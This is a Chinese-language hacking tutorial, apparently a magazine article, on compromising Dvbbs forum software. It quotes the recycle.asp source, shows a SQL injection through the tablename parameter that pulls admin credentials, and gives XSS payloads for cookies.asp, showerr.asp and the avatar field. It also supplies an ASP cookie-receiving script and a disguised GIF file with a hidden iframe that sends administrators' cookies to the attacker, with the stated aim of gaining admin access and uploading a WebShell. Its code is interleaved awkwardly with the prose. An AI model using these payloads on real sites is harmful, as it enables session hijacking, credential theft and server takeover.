打開recycle.asp，
<!--#include file="conn.asp"-->
<!-- #include file="inc/const.asp" -->
<!-- #include file="inc/DvADChar.asp" -->
<!-- #include file="inc/dv_ubbcode.asp" -->
<%
Rem 修改記錄：2004-5-3 行396 Dvbbs.YangZheng
Server.ScriptTimeOut=999999
dim bBoardEmpty
dim totalrec
dim n,RowCount
dim p
dim currentpage,page_count,Pcount
dim tablename
Sub AnnounceList1() 構造以下查詢語句： http://127.0.0.1/recycle.......,1,1,1,1,1%20from%20dv_bbs1 看到了嗎，以上顯示的后臺賬號是llikz，密碼是111111，前臺管理員賬號是admin。得到后臺管理權限，上傳WebShell絕非是難事了。 說了這么多，別太興奮了，忘記了只有前臺管理員才有權限對回收站進行操作。不過比起admin_postings.asp的注入不僅實現起來比較容易。而且能對Access版本進行攻擊。下面我們就為獲得前臺管理員權限努力吧。只要能夠實現這個條件，兩個注入漏洞都能輕松實現了。 關于利用跨站腳本攻擊獲得管理員的cookie信息，方法多種多樣，可跨站攻擊的文件也有不少，比如眾所周知的showerr.asp，不過這個文件的跨站漏洞在7.1.0版本中已經修補，但是還有其他很多文件存在此漏洞，就拿cookies.asp來說吧，打開以下連接： http://127.0.0.1/cookies.asp?action=setlistmod&id=);</script><script>alert(documents.cookie)</script> 看看是不是你的cookie信息彈出來了。如圖2所示。 我們先說一種簡單的實現起來比較容易的方法（當然隱蔽性不是很高），首先建立一個asp文件用于接收cookie信息，文件內容如下： <% Set cookie=Server.CreateObject("Adodb.Stream") cookie.Open cookie.Type=2 cookie.Charset="gb2312" cookie.WriteText(request("cookie")) cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt")) cookie.Close set cookie=Nothing %> 保存為save.asp放到支持asp的空間。然后再建立文本文件，內容如下： <html> <body> <iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/save.asp method=post><input type=hidden name=cookie></from><script>redir.cookie.value=documents.cookie;redir.submit();</script>"></iframe> <img src=http://127.0.0.1/images/logo.gif></img> </body> </html> http://127.0.0.1/save.asp請修改為自己的接收cookie信息的文件，http://127.0.0.1/showerr.asp請修改為你要攻擊的論壇的地址。 將以上代碼保存為up.gif。在論壇中選擇發表新話題，將這個文件上傳上去得到上傳文件的地址：http://127.0.0.1/UploadFile/2005711052664.gif，給管理員發送如下的短消息。如圖3所示。 看看管理員收到什么了。如圖4所示。 這樣只要管理員點擊上面的連接，他的cookie信息就發到自己的空間咯，不信去看看啊。如圖5所示。 接下來我們改進以下這種方法，如果將管理員的cookie信息做為短消息發到自己的收信箱里豈不更爽，將原來的up.gif內容修改一下，改為以下的內容： 以上的方法都有個缺點：當管理員在打開假圖片的時候，通過瀏覽器狀態欄顯示的狀態信息很容易被識破。那我們就利用動網論壇自定義頭像功能實現跨站攻擊。 哈哈，成功了，不過在自定義頭像地址過濾了Java腳本，所以只能嵌入iframe框架。 這樣只要欺騙管理員訪問自己的個人資料，就神不知鬼不覺得到訪問者的cookie信息了。通過cookie欺騙得到前臺管理權限，再用recycle.asp注入漏洞即可輕松獲得后臺管理權限。只要大家靈活運用以上方法，摧毀不倒的動網論壇絕非難事。
Dvbbs.stats="
Dvbbs.nav()
If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=<li>您沒有權限瀏覽本頁。&action=OtherErr"
Dvbbs.ShowErr()
Dvbbs.Head_var 2,0,"",""
Dim EmotPath
EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)
Dim dv_ubb,abgcolor
Set dv_ubb=new Dvbbs_UbbCode
If Request("reaction")="manage" Then
dim topicid
Dim trs,UpdateBoardID
Dim fixid
Manage_Main()
ElseIf Request("reaction")="view" Then
View()
Else
Main()
End If
Call Dvbbs.activeonline()
call Dvbbs.footer()
‘大家再看看調用的Manage_Main函數和View函數，就會發現如下代碼：
If request("tablename")="dv_topic" Then
tablename="dv_topic"
ElseIf InStr(request("tablename"),"bbs")>0 Then
tablename=Trim(request("tablename"))
If Len(tablename)>8 Then
Response.redirect "showerr.asp?ErrCodes=<li>錯誤的系統參數！&action=OtherErr"
End If
Else
Response.redirect "showerr.asp?ErrCodes=<li>錯誤的系統參數！&action=OtherErr"
End If
顯然是對tablename過濾了，長度不能超過8，雖然能注入，但是實在沒有價值可言，沒關系，我們再看看如果我們提交的action為空，程序就會執行main函數，這個函數調用的是AnnounceList1，我們再找到這個函數看看把：
‘省略了無用代碼，免得跟上次一樣wtf又說偶騙稿費咯……
If instr(lcase(request("tablename")),"bbs")>0 then
SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"'","")&" where boardid=444 and not parentid=0 order by announceid desc"
tablename=request("tablename")
Else
SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"
tablename="dv_topic"
End If
set rs=server.createobject("adodb.recordset")
If Not IsObject(Conn) Then ConnectionDatabase
rs.open SQL,conn,1,1
if rs.bof and rs.eof then
'論壇無內容
call showEmptyBoard1()
else
rs.PageSize = cint(Dvbbs.Forum_Setting(11))
rs.AbsolutePage=currentpage
page_count=0
totalrec=rs.recordcount
call showPageList1()
end if
End sub
哈哈，顯然這里沒有對tablename限制長度，verygood，不過遺憾的是注入只能實現只讀的查詢，不能修改數據庫內容，沒關系，我們可以利用union查詢把dv_log中記錄的后臺管理賬號和密碼一次性查詢出來，這個還不夠爽啊，通殺SQL版本和Access版本。
注意到l_id了嗎，我們查詢的時候通過遞增l_id的值來遍歷l_content字段中的內容，如果l_id選取的合適，就能直接得到明文賬號和密碼。如圖1所示。
<html>
<body>
<iframe width=0 height=0 src="http://127.0.0.1/showerr.......erErr&ErrCodes=<form name=redir action=http://127.0.0.1/messanger.asp?action=send method=post><INPUT type=hidden name=touser value=llikz><INPUT type=hidden name=title value=cookie><INPUT type=text name=message><INPUT type=hidden name=sms_act value=Sms_Issend></form><script>document.redir.message.value=documents.cookie;document.redir.submit();</script>"></iframe>
<img src=http://wjwl.cn66.cn/sitephoto/200312120204774541.jpg></img>
</body>
</html>
這樣就能夠繞過checkpost函數以post方式將管理員cookie信息發送到自己信箱了，注意<INPUT type=hidden name=touser value=llikz>這個修改為你自己注冊的賬號來接收短消息。這樣只要欺騙管理員打開連接，就會收到類似如下的短信息。如圖6所示。
選擇控制面板，基本資料修改。在自定義頭像地址中寫入"><iframe src=http://127.0.0.1/index.asp></iframe><"再查看一下自己的個人資料。如圖7所示。
不過在這里嵌入以上方法上傳的腳本圖片就能用來獲取cookie信息了。比如我嵌入的是test.gif，文件內容是：
<html>
<body>
<script>alert(documents.cookie)</script>
</body>
</html>
再查看一下自己的個人資料。如圖8所示。
